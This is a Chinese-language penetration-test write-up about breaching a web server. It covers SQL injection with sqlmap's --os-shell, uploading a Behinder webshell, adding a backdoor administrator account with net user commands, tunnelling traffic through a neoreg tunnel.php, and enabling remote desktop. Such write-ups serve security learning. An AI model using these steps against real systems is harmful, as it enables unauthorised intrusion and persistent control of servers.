記一次簡單的且不完全的從外到內的滲透測試實戰
本文相關知識點
SQlMAP --os-shell拿下webshell
眾所周知,--os-shell的使用條件較為苛刻,必須滿足:
- dba權限
- 網站絕對路徑
- php中的gpc為off,php為自動轉義的狀態
其中我想分享的是--os-shell的原理,其實就是很簡單的兩個腳本文件的上傳:
遍歷路徑,into outfile函數將可執行的php文件,這個php文件(tmpukjhb.php)主要是起一個文件上傳的作用。
然后通過tmpukjhb.php上傳一個可以執行命令的php文件(tmpbezal.php),并將其結果返回出來。
(上次面試被問到了,沒答出來,所以印象深刻)
nt authority \system和administrator
nt authority \system是系統的最高權限
administrator是用戶的最高權限
reGeorg+proxifier流量轉發
針對web應用服務器的getshell
通過對網站亂七八糟的一通亂點,發現有個熟悉的老朋友

見到這種,就不得不試試sql注入了。
在后面跟上單引號,直接報錯

確定好注入點之后,sqlmap一把梭
一般我遇到sql注入首先看是不是dba權限,是的話大概率就能--os-shell就直接拿shell很方便。
麻溜的--is-dba,果然是

雖然現在沒有絕對路徑,但是sqlmap有字典可以先試試


只能說是很perfect
但是鑒于sqlmap返回太慢且只能返回whoami(估計是被殺了)不方便之后的操作,所以我訪問了根目錄底下的tmpukjhb.php上傳了一個冰蝎的馬。

不完全的后滲透
通過whoami命令可以知道當前用戶是nt authority \system(怎么會有人用計算機最高權限去部署服務呢?我不理解)
當然,有了最高權限就可以為所欲為了(白撿了一個哈哈哈哈)
然后就是常規步驟了(也不能說是常規,主要是最高計算機管理員給省略了很多步驟):
net user檢查存在用戶

net user admin admin / add創建一個名為admin的管理員用戶

net localgroup administrators admin /add把admin用戶添加到最高管理員用戶組

net user admin查看用戶權限

netstat -an | find "3389"查找3389端口是否開啟

接著使用neoreg轉發流量,把tuunel.php上傳到根目錄,并訪問它


使用本地4444端口建立socks連接:python3 neoreg.py -k shy -u https://xxx.com/php/tunnel.php-p 4444

測試代理:使用代理訪問搜狗curl -x socks5h://127.0.0.1:4444 https://www.sougou.com/

獲取ip

進行流量代理

把loaclhost改成socks5代理

然后去遠程桌面連接,把允許多人遠程在線開啟起來,方便之后的操作

結語
小菜鳥的文章,后面的操作比如橫向、維持、清理等,都沒有去做,只能說還要繼續努力呀!
因為是從我筆記里面截的圖(之前的圖沒有脫敏),所以可能有點糊,影響大家的觀感(當然我覺得我這種小菜鳥的文章應該沒人看哈哈哈哈),很真誠的給大家致歉!
如果本文有不正確的地方,希望各位大佬多(輕)多(點)包(噴)含(我),不(搞)吝(快)賜(帶)教(我)!謝謝大家!
參考鏈接
https://www.cnblogs.com/zzjdbk/p/13951047.html
https://www.cnblogs.com/-qing-/p/10517114.html
本文作者:ARanZN, 轉載請注明來自FreeBuf.COM